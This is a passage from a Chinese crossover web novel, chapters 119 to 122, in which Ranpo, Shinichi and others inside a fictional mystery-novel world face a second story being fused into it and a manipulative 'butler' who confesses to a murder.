看了下床头柜中被放置的药物,数了下数量,他极为愕然道:“家主他在昨天的时候没有吃药……” “是了,”乱步在心中分析:“一切都是手段,源头在很多年前就已经设好,中间的服药也只是维持,没有人会怀疑这药的不对,因为他其实根本不用服药,所以在药量上也不用做手脚,而在最后,死者当晚没有服药更是神来一笔,正是因为没有用药,所以他的精神状态压制不住,见到了幻觉,让自己惊惧而死,这道理是完全说得通的!医生在这其中也被隐身了,他根本不会出事!” 江户川乱步首次见识到了时光的效用。他现在就如同站在了河流的末端,伸出手,却怎么也够不到从前。将一切解开不是结束,要找到证据,才是作为侦探的胜利。 那原本的故事是怎样让凶手露出马脚的呢?在一团无从下手的乱麻中,乱步不由地思考着那本书有可能的剧情。 “既如此,‘医生’死了,这就是原本故事中根本不曾发生过的事,这便是变数!这变数,是由我们带来的,‘我’与原本的侦探大不同,所有人都与原本的他们不同,才引发了变化。”乱步想到了:“她真的会容忍这种变化吗?将一切都掌握在手中的人,就算原本不是这种性情,在这么多年的警戒锻炼下,也会变化成这样的人。她的内心核心是‘复仇’,复仇并非是一个完全的贬义词。” “那么,杀了‘医生’的人,是不是也是一个变数?”目光从“京介”的身上一掠而过,又从众人身上逡巡过。 【我唯一能信任的人,只有池井医生了。他是一个很好的人,我能够找到自己亲生的父母,有很大一部分是源于他的帮助,有谁能想到,会有人将那么多年以前一对夫妻寻找自己孩子的事记下来,还将检测的报告也留了下来呢?他为什么要做这些,我有些无法理解。 感性无法适应这个世界,但理性又太冰冷,未免太过看低了这个世界。不昏不亮,或许才是这个世界普遍的色彩。 可之后…… 他答应了帮助我,为此,甚至愿意去做一些不那么光彩的事。我能够看出来,他不是对我有所企图,他只是对我有所愧疚,他居然是在愧疚帮助我找到了我的父母!他认为是他将我导向了一个悲剧,若是我永远也不曾与他们重逢,或许就永远不会沉入到这个悲痛的地狱中去,他在为此谴责自己! 为善者因善痛苦,作恶者因恶欢愉。这个世界果然是疯了!】 “不用担心,”森岛爱忽然听见身边有人在小声地对自己说:“他说了这么多,但他其实根本没有证据,他不能完全确定是你不是么?”她抓得她手臂很疼。 森岛爱有些惊异,然后她就看见了小町小雪含着眼泪的双眼。在江户川乱步将她指出来后,哪怕没有钉死,旁边的人也离得她远了很多。只有这个女孩,她恐惧到快要哭出来,却怎么也不肯松开她的手。 她分明已经十分害怕,她能读懂她的心,但居然这样都不愿放弃一个只相处了快一年的朋友,真是难以理解的天真! “可惜了,”江户川乱步忽然说:“也许我应该等一等,等到变数引发更大的变化,等到凶手与这变数碰撞起来,流露出薄弱与破绽之处。”他说着一些让人听不懂的话,在一些人迷惑的注视中,自言自语道:“但我到底还不是为了破案来的啊。” “能够被超越者看中的人恐怕都是人中的英杰,”江户川乱步独自一人站在所有人的对立面,就连“龙一”也被他摈弃在外,“太宰对我说,这位超越者不是与世隔绝的,他的异空间中,是会有‘客人’到访的。只是他遇见的,都是正面的人物,上一次的时候,都有人以牺牲自己为代价,将他们送出。” “可他忘了,”江户川乱步沉下声音:“他自己就不是那么清白。而我这一次,大概是遇到一个完全与我们相反的人物。” “不错,“在一旁的“龙一”已经思考出了结论:“便如‘京介’所言,我们在这个故事中没有什么必须要做的事,就算身份是对立的,可只要他想,‘医生’也不是不能站在我们这一边。他之所以那样做,只是他乐意那样做。凶手其实是有两位的,若不是这位森岛小姐动的手,那就说明,在我们中,还有另一位真凶,而与森岛小姐不同,他可是亲自动了手的!” “打乱了原本凶手的复仇计划,在她的预料之外,也在剧本之外,”江户川乱步冷声道:“这样的变数,根本不可能是原本就有的。‘他’只有可能和我们一样,是从外界来的!” 他没有再去看“京介”,这个人根本油盐不进。不动则无异常,面对一个“不争”的人,他只能将他看作一个待选项。“龙一”倒是看了他好几眼,他本能觉得,这人的内质和他的一位朋友挺像。 第119章 是时候了 先前乱步就一直怀疑别墅中会有同他们一样的外来者, 之后“医生”的死去,更是变本加厉地印证了这一点。改变剧情,加入原本故事中没有的情节, 这样的情况,并非爱伦坡的性格,也非他的异能力所属, 只能说,与他们几个不一样, 有人自进入这个世界后,一直就扮演得很好。 这个人大概是真的在将这次的“穿越”当做一次游戏来看了, 并不想故事在这里结束,他可能还想要看到更多, 见到侦探与凶犯在之后的交锋中迸射出激烈的火花, 将一切都推向一个更为激烈的高潮, 让思想与人性在这其中得到升华。 可惜,他不是“龙一”,他瞥了一眼身边的人, “龙一”有些莫名地回望过来。 江户川乱步说:“如果你想要将这里当做一个舞台的话, 我只能说, 你的选择并不是很好。” 他像是在对一个隐藏在其中的人说:“最激烈的冲突是要在最逼仄的环境中酝酿出的, 构建出这个世界的人,那个‘组合’的家伙不一定, 可在之后的另外一个人, 他可不是会无缘无故取走人性命的家伙。不是说他做不到,而是他没有那个必要。” 乱步根本不想再在这个故事中纠缠, 他直接跳了出去,道:“作为一位超越者, 他会为了不让自己的异能力失控而杀死人,将自己‘囚禁’在异空间直到如今。多年后再见,他也依旧是平稳沉静的样子,这样的人,一开始就不可能将我们的生命放在火焰上炙烤。‘医生’的离去是对我们造成了阻碍,但他同时也告诉了我们,我们还有另外一条退路。” “那就是,干脆从这里离开!”乱步冷静到过分:“只要我们足够相信,在这里的死亡不是死亡!” 还有,放弃自一开始来到这里的目的。 一边的“龙一”有些讶异地望了过来,说实话,他还没到那个地步,他其实挺喜欢这种沉浸式阅读推理小说的过程,就算有一些奇怪的队友,他也觉着,这一次的“梦中旅游”实在是新奇又有趣。 能够遇见江户川乱步这样一位神奇的侦探,真是太幸运且奇妙了!他有一种跃跃欲试的预感,那位超越者,他一定还认识更多的类似这样的人,如果再进行几次这样的“团聚”,他肯定能见识到更多无比优秀的人,不知道自己又能在他们中做到什么地步呢? 已经从“江户川柯南”的身份中摆脱出来的工藤新一,犹如蜕去了过去的蚕蛹,他的眼中熠熠闪光,那是见到了更远未来的期待。 只是这一次,不知道自己的这位同伴,为何从始至终,都有着一种隐隐的急迫感。好似是在寻找着什么,就连心神,也没有完全放在这起案件上。 在场的人都在听着江户川乱步这番莫名其妙的话,那些字词他们都是懂得的,但连起来他们怎么就不明白了呢,有人喊叫起来:“你在说什么啊,不是说有第二个凶手么,什么外界、变数、死亡不是死亡……你,你疯了吗?” 人群隐隐骚动,森岛爱始终低垂着头。 “嘻嘻嘻嘻(-ω-),”外界的大浣熊将脑袋往下够着,仿佛这样就能将自己的眼睛更凑近一点书里,它的瞳孔倒竖,不放过每一丝的变化:“不想一直都被动反击吗?乱步,你果然还是这样的你。不过,我可不相信你会放弃自己一开始的目标,你可不是如你所说的,甘愿承受失败的人。” 它好似清醒了一些,又好似更为癫狂,它大笑,声音在这红色的世界中传出很远:“书中的人能听懂你的话吗,他们能接受自己只是个被塑造出来的纸中人吗?我以前可从来没想过这一点啊,是因为这次的书不是我的作品吗?过强的主体性……” 它四肢在红色的土地上连拍带打,圆滚滚的身躯像个摇摇晃晃的超巨形的不倒翁,“是时候了!是时候了!”下一秒,它就忘了自己刚才还在感叹着什么,所有的书在它的身边漂浮起来,它的双眼散发出红光,书本也为红意侵染透,它一把抓住其中一本,面上散发出一种完全失去了理智的癔态,“我答应过的……”它将这本选出的书使劲往某处塞,不顾其不断颤抖的身形,“我答应过的,要看看两个世界融合会发生什么……” 外界的事反应到内里,就是突如其来的变化。原本还一片平静的别墅一阵地动山摇,所有人都站立不稳,乱步抓紧了头上的帽子,小町小雪整个身体都在向身侧倾倒,森岛爱努力扶持住了她,两人靠在一起。这期间,她的眼神一直都没离开那几人身上。“发生了什么?”那些跟在后面的仆人们惊慌失措。 “怎么回事?”“龙一”,即新一皱紧了眉,他说:“该不会要结束了吧?” 江户川乱步没有动,他死死地注视着对面的一群人,他的心沉了下来,他的预感终是应验了——那位超越者终于有所动作了。 “哈。”有人笑了出来。 这笑声清越短促,像是蹦出的一声清鸣,与周遭的所有环境格格不入。新一将视线望去,不是他最后怀疑的小町小雪,而是那个一直都没有任何异常的管家,只见他捂住自己的脸,一副无奈的神态道:“……不要在这个时候啊。” “什么?”乱步问。 “管家”抬眼看了他一下:“就像你所说的,这确实不是一个好舞台。” “你没有看过那本书吧?”他放下手来,身上也没有了之前管家的严谨,反倒是有着一种困囿于一处人绝不会有的倜傥,他施施然站着:“虽是一个故事,但它其实是有着四幕剧的,我们现在所在的,只是最开始的开幕剧。当然,”他毫不在意道:“后面的剧情也全然被打乱了,我想要借鉴些什么也做不到了。” 他一边说着,周围的环境也逐渐模糊起来,别墅的影像像是扭曲撕裂,有金色与红色混杂其中,只是稍稍看一眼,乱步和新一都感到一阵头晕目眩,犹如接触到了什么大秘之物。 “如果说那个人是想要构建出一个完整的故事世界,我只能说,到了这里,他已经完全失败了!”“管家”毫不留情地评判,嘴边溢出一个讥讽的笑。 “他到底想做什么?”江户川乱步大喊:“绝不是想要创出一个故事空间,那样的话,他要我们加入进来有什么用?” “管家”十分惊讶:“我怎么会知道?我不与你们一样,是投入到这里来的‘游戏玩家’?” 新一咬着牙,他努力地想要稳住自己的身形,就算到了现在,他也依旧在坚持着某些事,他问:“原本的‘你’不是凶手的一员?” “管家”笑出了声,他十分好心地满足了这位锲而不舍的小侦探的好奇心,他轻声道:“‘我’确实是毫不知情的,在七年前的入职前,也没有与之接触过。但在那个时候,他的医师就是那位叫作‘理绘’的女医生了,她可不是一个普通人,东京大学的医学与心理学双料毕业生,如果继续研习下去,成为博士也不是不可能的事。” 新一睁大了眼,他不得不承认,这一点确实是出乎了他的意料。作为一个连学都不想再上的的家里蹲侦探,天野这家伙,居然给他书中的女主角设计了这样高的学业背景。 他不由看向森岛爱,只见这位原本剧情中的凶手,也是女主角,没有像其他人那样四散而逃,她依旧站立在原地,一双幽深的眼睛正一瞬不瞬地看着他们,她面上平静,好似……将他们所有的话都听入了耳中。 新一下意识地心中涌出一阵别扭之感,他转向乱步与“管家”,这两个人不可能没有发现这一点,但他们没有一人在意,仍然继续对峙。“她的技巧很巧妙,也用了最大的时限,去既让仇人感受到漫长的痛苦,又让他被社会排斥丢弃,最后如同湮灭的水花一样,止息在无人在意的海岛。” “可我还是要说,这样实在是太不精彩了!”“管家”咧开了嘴,从这里很明显能看出,在这幅皮囊下,确实是一个新进入了一个完全不同的灵魂。他摘下了单片的眼镜,眼中是一片奇特的笑意,“为了保住那位医生,她牺牲了太多的想法,手段过于温和,不过,既然是第一次,我也不是不能对此有所体谅。” “可是,之后的情况又是怎么回事?”他的脸色阴沉了下去:“意外?自杀?只有最后一次还算亮眼,让主导者被群狼噬咬而死,算是回应了他当初第一个提起杀人夺财的行为。” 他一边说着,一边哀叹。新一不由高声大喊:“你在开什么玩笑!这只是一本推理小说!真要写得血腥暴力一些,这本书怎么可能被推理协会选出,还上了那么多书店的推荐位?” 他显得有些愤怒:“你这个想要肆意修改别人作品的家伙,你将这本书原本的作者放在了何处?” 江户川乱步瞅了他一眼,这个家伙居然是认识这本书的作者的吗? “管家”愣了一下,然后,他面上显出了沉思:“嗯,原来是这样吗?” “这一点我倒是没考虑到,”他流露出歉意道:“是我太想当然了。” 第120章 参照项 海岛的世界似经历着一场毁天灭地的变化, 风云变幻,天空之上,厚重的帷幕般的阴云流动散开, 露出苍白暗淡的月亮,但下一瞬,更浓厚的乌云就流水般层叠堆砌过来。 黑暗变得格外拥仄, 那些海涛狂风浪卷地掀起前所未有的浪潮,世界好像只余下这个孤零零的小岛, 广阔的海面也被切割遗弃,若从外望去, 见到这个海岛,就像见到了一方袖珍精巧的真实造物, 是只能拿在手中把玩的玻璃内景。 房屋中的变化则更加鲜明, 那些逃走的仆从已不知所踪, 动荡将他们包裹起来,连立足之地也失去了地板的模样,它们旋转着, 如颜料般糊成一片。江户川乱步心中也不免起了惊慌, 可转眼一看, 见到那“管家”只是静立在原地, 动也不动地微笑着,他便就放下心来, 将心中的波动驱去, 从外表看来,他就是从头到尾都是一副镇定在握的模样。 新一不由为他的镇定感到赞叹, 没有遇见过的人是真的难以想象整个世界都在你眼前混乱起来的样子。见到“京介”抬头仰望着上方的位置,他也不禁抬头去看。 书外的大浣熊不停地将另一样东西往里边塞, 与其说那是一本书,还不如说是一个新的小的空间,只是与一般空间不同的是,它拥有一段完整的故事,故事中,有人物与情节自成体系。 为什么要这样做?他没有这个念头,就像是雨要落入大地,风要从世间穿过般天经地义、了无痕迹,这是他早就预备好要做的。 更多更复杂的变化降临而来。别墅已经完全看不出之前的模样了,一些更深层次、琐碎的东西也终于出现。江户川乱步瞧见一张图片从缝隙中一闪而逝,一位少女痛苦地躲藏在一处黑暗的通道中,而外面,是四个凶徒在向两个人举起手中的凶器。 这画面一闪而逝,但无疑昭示了世界故事的一部分。江户川乱步福至心灵般明白了,这是这个“故事世界的一部分”,因它的特点,以文字或图像这种他们能理解的方式被他们所读取,它正在被冲击。 想到这里,他忽然转头望去,见到森岛爱居然仍站在这边,就像是这一小片的区域被庇护了,而她躲藏在这里逃过了一劫,她怔怔然望着那些,神色迷离。小町小雪则是更糊涂了些,她完全不明白发生了什么。 【我听到父母的哭喊声如尖针般刺入我的耳膜,他们在哭喊,在求饶,在向那几个魔鬼跪下求饶,可魔鬼们充耳不闻,他们用重器击打在他们身上,用锐器割破他们的皮肉,那声音也宛如小刀般在我的心头剜血。但我不能出去,我只能躲在这里。 就在半个小时前,母亲将我藏在这里,而她自己却来不及躲进来。那伙凶徒行动太快了,更是临时起意,没有留下一丝反应的机会。我知道他们一定知道妈妈,却不一定知道我,因为我才刚刚找上门来,是他们走失了十多年的孩子,相聚才不过……三天。 这戏剧性的变化就像是老天给我的嘲讽,注定了我一生孤独无依、无有亲缘。我甚至是在想,是不是我不应该找上门来,这样他们也就不会遭受到此般的噩运。 一直到他们止息,也没有在恶徒们面前提到过我的存在。】 这变化持续了很久,直到他们也都头晕目眩,为这不休的改易感到痛苦想吐,倏然,一切落定,他们再次踏上了坚硬的地板,周边的环境俱都静止,他们再也维持不住表面的平静,江户川乱步弯着腰,大口大口地喘息着,新一踉跄在地,眼前一片发昏,连那位“管家”脸上的笑容也有些僵硬,像是随时都会裂开。 “扣扣扣——”根本来不及让他们互相说些什么,下一刹,突兀的扣门声就在外面响起,众人的心跳为之一停,所有人都一起向着那里望去。 “你看过原本的故事,”江户川乱步对“管家”说:“你说的第一幕剧中,有中途才上场的人物吗?” “管家”瞧了他一眼,对他得出这个结论不意外,他本就没想隐瞒这一点,他淡淡道:“没有。所有的人物从一开始就都出场了,杀了春江英才,主角在这里的目的就已经达成了。最多也就再加上那个处理外事的仆人,当年是他给那些人提供的情报,才能让四个凶徒那么快地就将所有的路线堵住。” 他转向了森岛爱,似乎对她现在的存在十分感兴趣。 “那现在是谁在敲门?”新一疑惑问:“那些仆人们不是都不见了吗?” 他的话音刚落,就听见下面的大厅里传来一阵走路的声音。他的脸色落了下来,几个人没有说话,一起找好了角度去观察,见到去开门的是一张熟悉的面孔,“是之前仆从中的一个,名字叫作平子。”“管家”的记忆显然很好。 平子将门打开,外面一片漆黑,屋内的光往外照去,众人依稀看到,是有两个人影在门前晃动。 平子似是对他们说了什么,但两人不管不顾,其中一人伸出大长臂,一手就将她掩着的门直接打开,长靴往里面径直一迈,进入后,目光就向周边打量起来。 新一的眼神有些奇怪,他嘀咕道:“这栋房屋不是在岛上吗?怎么会半夜突然来了两个完全不认识的陌生人?” 另一人也走了进来。他穿着破旧的皮夹衣,身材魁梧雄壮,下身是一件松垮的黑色长裤,他的装扮与前面人类似,相同的是,两人都戴着一顶帽子,帽子上,有一些红色的描纹字母。 江户川乱步的神情立刻严肃起来,他的嗓音格外深沉:“我知道刚刚发生的是什么了!” “是什么?”新一问。“管家”垂下眸微笑,森岛爱如今正在向“京介”学习,沉默并不言语,将自己的存在感无限缩小。小町小雪则是望着那位叫作平子的女仆,对她现今毫无异常的姿态感到疑惑,且……恐惧。 “我不知道他这样做的目的是什么,但显而易见,这两个人,并不是《黄昏之血》这本书中的原人物,想来,森岛小姐你也不认识他们吧?”他指着下方问。 森岛爱点了点头。到了现在,指证与证物都不再重要了,她辩解也没有用,因为这些人,就不是这个世界上的人。 “他们是来自《蔷薇凋落的别墅之馆》这本书中的人物,是两个半夜过来借居的两个旅客,与一般的借宿者不同,他们身负夺走数条人命的罪行。而之后,这栋别墅中的所有人也尽丧他们之手。这本书新奇的地方在于,它不是从受害者的角度展开的这个故事,而是以两人中的弟弟的口吻开得篇,”江户川乱步看过这个故事:“将一些涉及到凶杀案的地方用各种手法模糊过去,然后让弟弟显出一些恐慌担忧的情绪,但实际上,他是在惧怕着后来追捕来的警察,以此欺骗读者们的感官,让他们无从看穿真相。” “那位超越者阁下,不知出于何因,将这第二个的故事融入到了先前的故事空间中,刚才的那种奇特变化,是两个故事空间相互触碰融合时发出的异像,也就是说,我们即将迎来第二起的凶杀案,而这一次,是更危险凶狠的!” “两个世界的融合吗?”“管家”做出一副思索的神态,他说:“之前逃走的人不知还有谁在,看他们的样子,似乎对那段时期的变化完全没有印象了。就是不知道我们是不是特意被放过了,否则的话,我们不该和下面的平子一样,也对‘世界的融合’没有一丝的记忆吗?” 接着他好似不经意般问:“不知你们对这段经历有什么感想吗?” 书外,那只大的浣熊已经一副彻底歪倒在地上的样子,翠发的艾略特站在这里,就像是自然的神祇来到了一个完全与他相反的神域。他立于浣熊足前,攒紧手,手中虚幻的锁链化为了实体,发出金色的光,另一头延伸进不可视的虚空。他伸出另一只手的手指,犹如托住了某些轻飘飘的事物。 “只是两个由浅短的故事组成的空间,相互的接触融合就如此的动荡难稳,而穿越前的那四个火热为人追捧的动漫,又是如何组成现在我所待的世界?”艾略特在思考:“这是否与我的穿越有关?我的金手指又是从何而来。” 有些东西,从小说中看来,似是十分普遍,且顺理成章的事,可是根本经不起细究,只要稍微想一想,就知道,这世上从来没有毫无来由的事物,就算是爱也一样。更不用说是这种神奇的物品了。 “还是太简陋了,”艾略特往前行走:“用故事空间来模拟‘综漫’,希望以此来窥见一点东西,有这样想法的我,还是太过天真。” “可不管怎样,还是要去尝试一下的,”他淡漠地想:“一切的研究最开始的时候都是简陋的,到了后面,千次万次的尝试,设置多个对比项,还是有机会得出一点成果的。” 他又看向前方,看进了书里:“世界内的人也是一个观察的方向,江户川他们在故事中,就犹如‘穿越者’来到了另一个世界,他们之存在本身,又如何不是另一个的‘我’呢?”魔·蝎·小·说·MOXIEXS &M.o.X.i.exs& 120-130 第121章 文字没有罪 穿越, 就是从你所认为的现实世界,去到另外一个世界。江户川乱步他们进入书中,与当初裴真来到柯学的世界, 又何尝不是有着某种程度上的相似呢?都是进入到“故事”中。 也许现在的试探太过拙劣,也许自己还有一些事没有弄清,但就像是自己在来到这个世界后的那一晚做出的决定——总要有第一步。 他大可以将一切疑虑置之脑后, 与这里的人们结交,与他们建立起友谊, 在一次次的剧情中突显自己,获取力量, 然后真正地融入其中,感受到幸福。这没什么不好的, 人之所以存在世上, 幸福是很重要的一项衡量标准, 裴真也是在不断地调整自己在这个世界的定位。 没有什么是完全正确的,尤其是在人生的道路上,之所以不同, 只是出于选择不同。幸福生活是对的, 探究一切的来源也是对的, 只是看你个人的想法而已。 就像裴真, 他便决定了,要追寻解答自己身上所有谜题之路。 艾略特看向书内, 几人在夜晚的别墅中飞速奔逃。无论他们选择做什么, 都是无关紧要的,剧情只是给予他们一个留在里面的理由, 只要他们是活动着的,就相当于是一些世界融合时的变量。那些别墅中其他人的“失忆”也不是他的手法, 而是在两个世界中,为了稳固下去,一些自发运转下的结果。 所以说,现在他所在的现实,人们对其中的异能、咒术、王权、犯罪等接受良好,不知是否也有这样的因素?艾略特这样思考着,走到了大浣熊的身前。他的身影是如此渺小,与有快十层楼高的浣熊形成了鲜明的对比,但他又是如此的夺目,自他来到这里后,便第一时间成为了整个世界的中心。 “京介”将目光从楼下的两个人身上收回,他没有看过乱步说过的那本书,但看着这两个人来到这处别墅,自己居然有了一种淡淡的被入侵的不悦感。是因为《黄昏之血》不论如何,都是出自自己笔下的作品吗?纵使这一切最终的缘由还是归于自己,本身也早就有了预备,还是有所波动。他品味着自己的这种心情,一边将之记下。 乱步他们已经猜到了,这次的变化或许是出自超越者的试验,不知是何因,他想要将两个完全不同的故事世界糅杂在一起,而他们这些被邀请进来的人…… “哈哈,”新一摸了摸脑袋:“好歹也是经历了一番破案的过程,我是真没想到,一本书也能形成一个世界,我倒是觉得没什么,总比我上一次险死还生来的好,最起码,看样子,那位阁下还是保障了我们的安全的。另外,我觉得,”他若有所思地说:“这种事最应该被邀请的,难道不该是那个人吗?” 他眼中闪过亮光,在其他人的疑惑注视中,他道:“作者啊作者,亲眼见到自己笔下的东西成为现实,心情一定会十分激动吧?”说不定还能见到他失态的样子,真是想看。 乱步说:“如果作者进来,这个故事对于我们来说,就大概没有秘密了。在高层叙事者的角度,这起案件是被完整呈现在他们面前的,”他看向了“管家”,对方冲着他微微一笑:“而作者比读者又要高出一个层次,因为有些东西没有写出来,他的心中却是有数的。” “京介”也就是裴真若无其事地站着,如同以前般毫无影响力。 “两个世界融合,”乱步淡淡道:“这是项疯狂的举措,相比较于融合成一体,我更相信,它们本该的归宿,是彻底破碎成一堆混乱之物。” “感想?”他轻声说:“我们能有什么感想呢?”他指了指下方的仆从平子,直视着“管家”道:“你认为她有什么感想,又能有什么想法?” 有些人,是不配知道世界发生了什么变化的。 “管家”立即就笑了起来,“原来如此,”他眨了眨眼说:“我知道你的意思了。” 他环视了一下被留下的几人,“‘医生’是我杀的,”他十分干脆地承认了:“不过,不要以为这完全是我的意思。”感觉到有一道视线一直凝住在自己身上,他往那边看去,见到是森岛爱正用那双幽邃的深黑色的眼睛注视着他,他露出一个欣悦的笑,启唇道:“也许你们应该庆幸这一点,因为那个家伙若是留下来,只会将一切搅得更为复杂罢了。” “你们听说过一个以酒为代号的黑暗界组织吗?”他忽而这样问道。 新一之前还算镇定的笑容瞬时僵住了,他竭力掩饰这一点,装作若无其事的样子。 似乎也没准备等到回答,“管家”继续说:“那个家伙以前就是这个组织的一员,起先的他默默无名,在组织中也是不被人关注的小角色,直到后来,”他对着新一歪了歪头,面上神情意味深长:“他将这个组织当做祭品,以此作为踏脚石,一步跃迁成为了美国FBI中局长之下的最重要的高层人员,可谓是有史以来最快的升职速度。这样的心机和手段,留在这里,你能想到他会做出什么吗?” 工藤新一一阵头晕目眩,他终于能知道组织覆灭的真相了。黑衣组织的消亡一直都是他心头最大的一个谜团,他是得到了“拯救”,可这样没头没脑的“胜利”,让他无法安然地回到自己的生活中去,一日不知道组织覆灭的真相,作为工藤新一的他,就一直在心中藏着这个隐忧。因为太过美好,反倒像是梦一样。 他无法再压抑自己激动的心情,他赶忙问:“你是说,他把整个黑衣组织解决了?他到底是怎么做到的?那次在那辆列车上的战斗,处置了琴酒,是不是也是他的手笔?” 是了,那次最后的结局就是“艾略特”的第一次亮相,如果说这其中没有关系,那才是不可能的事。他的心中激动到难以言明,“他是谁?”他迫不及待地问。 “京介”瞧了“管家”一下,他能够感觉到,这次新一又给自己贡献出了大量的光数值。 “他已经站在了阳光下,嗯,如果FBI的秘密成员也算是阳光中的话,”“管家”思忖道:“想来知道了这些后,你应该不难查出他的身份。”毫不客气地爆料了一番的“管家”接着说:“那家伙现实中还是有不少工作在等着他的,离开估计也是不想陪着你们玩过家家。所以说,‘医生’的死,可不是我的罪过哦~” 森岛爱面上不动,她感觉这家伙的最后一句话像是对她说的。到了此时,她也不介意向他们表明,她已经明白了他们所表露出来的一切。只要不是将言语遮掩,或是将人的认知打混,听懂他们的话其实不是什么很困难的事,她冷静道:“你的意思是说,那个人并非是医生,他的死也不是真死,而是回到了你们自己的世界中去?” “是的。”“管家”含笑点头。 “那最开始的医生呢?”森岛爱闭了闭眼,她也不知自己是在渴求着什么。“最原本的,要帮助我的池井医生呢?” “没有哦,”毫不客气地撕开了遮幕布,“管家”带着恶劣的笑:“你们的存在,仅仅是从方才诞生出的,一开始,医生就是他,又哪里来的所谓的‘最原本’的医生?” 他观察着森岛爱的每一个动作。 森岛爱身躯晃了晃,一切的从前都在她的心中被打成了混沌,如果说连医生都是不存在的,那么,自己过去发生过的所有,还有因之而来的刻骨的仇恨……她的眼中流落下泪来。 “喂,”新一忍不住道:“你这家伙,对这里和那个破灭了黑衣组织的人都这么了解,还这么喜欢玩弄人心,你该不会就是……” “恨吗?”“管家”没有理会他的话,他轻柔地引导道:“对造成了这一切的那个人,对设定下了你所有悲剧的那人,只是轻飘飘的些许文字,就决定了你前半生所有的痛苦。他真的能理解你吗?” “喂!”新一意识到了什么,他的眉头皱紧,心中警惕之意大起,“你在特意说些什么?” 森岛爱睁开了眼睛,她凝望着她,泪水洗过的双眼格外幽深:“如果说我真的是在一本书中的话,那么,写下了所有文字的人,岂不是创造了所有的人。” “不过,写下了文字真的是导致了我悲剧的人吗?”她的语声并不沉重,而是轻忽的、带着丝若隐若现笑意的:“我也曾写下过一些用来消遣的短篇,其中有些人的命运也很悲惨,可我对他们并无恶意,相反,我还挺喜欢那些被塑造出来的人。” “这世界上很多人都喜欢写故事,好的、坏的、精彩的、憋闷的,”她垂下眉眼:“文字是没有罪的,因为写下的人知道,观看的人也知道,这些都是假的。悲剧是假的,带给人的悲伤是真的,喜剧也是假的,带给人的欢乐却是真的。” “那么,”她撇过了脸,昏暗的光线下,她面部的线条轮廓透出一丝幽邃的意味:“是谁让这一切变成了真的呢?” 书外昏睡的大浣熊忍不住挠了挠肚子。新一松了口气,乱步倒是有少许的惊讶:“原来……是爱伦坡的罪过吗?”这么想,好像也没问题? 第122章 进展 爱伦坡不知道一顶帽子就这样盖在了他的头上, 乱步也是眨眨眼,没有要替他辩解的意思,不过在心中, 他还是小声说了一句:“有些时候,这样的事其实也不是他能决定的。” 但能有这样的想法,也足以证明森岛爱这个人的极端理智了。原作者赋予了她很多的东西, 这是很多主角都做不到的事,乱步忽然想要见一见这本书的作者了。 “管家”的反应像是有些失望, 他叹了口气道:“好吧,我还以为你会说, 就算过去的经历是假的,但情感是真的, 所做出的决定也是出自你自己的本心……” “何必自欺欺人, ”森岛爱抿了抿唇:“那不过是无能为力下的自我宽慰罢了, 让自己不至于陷入绝望的深渊中无法爬出,我已经有了对自我完整的架构体系,就算知晓一切皆虚, 也不至于在短时间内立时崩溃。” 乱步摇了摇头:“太冷静了, 冷静理智的就像假的一样。原作者一定没有突出描写你这一点, 否则的话, 一定有人会说,主角在后期就像个机器人一样, 一点也没有真实感!” “京介”闻言瞧了他一眼。“管家”笑道:“看样子是见不到你的痛苦挣扎了……” 众人心下一冷, 看清了此人内里唯恐不乱的乐子人心态。也难怪如此,在没有什么好处的情况下, 还是决定要给他们的侦查添上一大笔的麻烦,相比较于“医生”, 等他布局完,才是他们真正落入混乱的时候。 “那么接下来,你们想要怎么做呢?”“管家”看着他们一个个警戒的警戒,排斥的排斥,毫不在意地笑道:“这位侦探先生,你既已读过原文,应当知道这两个人接下来会做些什么吧?” “他们会在所有人放松警惕之后,埋伏下来,一个个的,像对待羔羊一样将之屠杀掉,”江户川乱步没有理会他言语中的隐隐挑动,他的神情冷漠:“就像是《黄昏之血》一样,这本书的剧情也不是一幕剧讲完,还有一段剧情的展开是在屠杀案结束后,只是到了那时,我们一个个的,也都死完回去了。” “在书里被NPC剧情杀,”新一同样很平淡:“我是可以接受失败,但最好不要这样。” 说完,他看向“京介”:“你觉得呢?” 乱步也看向“京介”,“管家”笑吟吟地没有动作,森岛爱微微皱起了眉头,从一开始时,她就是对这个人暗自提防的,后来的那番短暂交流让她对这个人的防范拉到了最高,两个侦探虽然厉害,她还是能摸清他们的心理的,可这个人,她不知道他想要什么,但隐隐的,她又觉得他可能不会做什么。 “京介”没有说话,一时间,这个方才还在不断讨论着的小空间居然一时陷入了沉默,森岛爱的小跟班小町小雪咽了口唾沫,她忽然有些不明白:“难道这个一直不说话的人才是他们中最厉害的吗?否则的话,为什么所有人都好像在等他的态度?” “京介”,裴真想了想道:“如果他们真的想动手,我们这边还是先下手为强的好。” 新一赞同地点点头:“不一定要将他们杀死,但限制住行动是必须的。” 乱步微笑:“看样子,我们是都达成一致了?” “管家”回了一个莫测的笑容:“我们是就结论达成一致,可是手段嘛,可不一定是要一致的。”他往后退去,身影隐入到黑暗中:“期待我们之间的再次相逢。” 外来变量的引入,让之前故事世界中的剑拔弩张被转移了出去。乱步也像是有了目标,之前一直隐约的焦躁也都消失不见,他十分镇定地为这两个午夜中突然闯入的家伙们布置了一出局,让他们还没有动手,就被耍弄了几番。“管家”则是更加狠厉,在乱步的局还没有发挥的时候,就令他们受了伤。 艾略特在书外看着,无尽的锁链与红色在这个融合后的世界中不断地穿插与修复,他不知道外面的那个综漫世界是如何形成的,他只知道,若是真有外力插手,当初的那个力量,应当是深入到了几个世界的全部区域。 因为这是项超大型的工程,就像是在垒高塔,只要有一点的不对,很可能就会波及到全部。 之所以本尊会在里面,为的就是与外界的艾略特相互照应,能最大限度地观测到所有的变化,并将这个融合的世界尽可能地维持下去。 裴真的双眼中透出一丝银白,“无色之王”的权能是“干涉”,这并不是一个战斗力高的能力,这也是他在最初之时,没有将自己的身份透露出的原因之一。他是可以在一片觊觎与忌惮中成长起来,但这样并不为他所喜,他还是更喜欢独自一人暗暗发展。 现在的这种权能也是有另一项发挥的余地了,在规则的锁链和扭曲从外突破的情况下,他用“王”的力量从内巧妙地周旋起来,三种力量交融,石板与异能力共同发力,来维护世界融合的进程。因为是源自内部,所以他的这种干涉更加隐蔽悄无声息,竟让这个“崭新”的世界有了要安稳下来的趋势。 因为并不了解,所以裴真在这一次的尝试中算是用出了全力。“管家”是他的第一个马甲望川涉所扮演的,与“医生”风祭野见是这一次游戏中的客串,他们算是后手,若是裴真的主体出了问题,他们就是顶上去的“盾牌”,而作为“无色之王”的眷属,他们的存在,也是“无色”的锚点,能够让裴真的状况更为稳定。 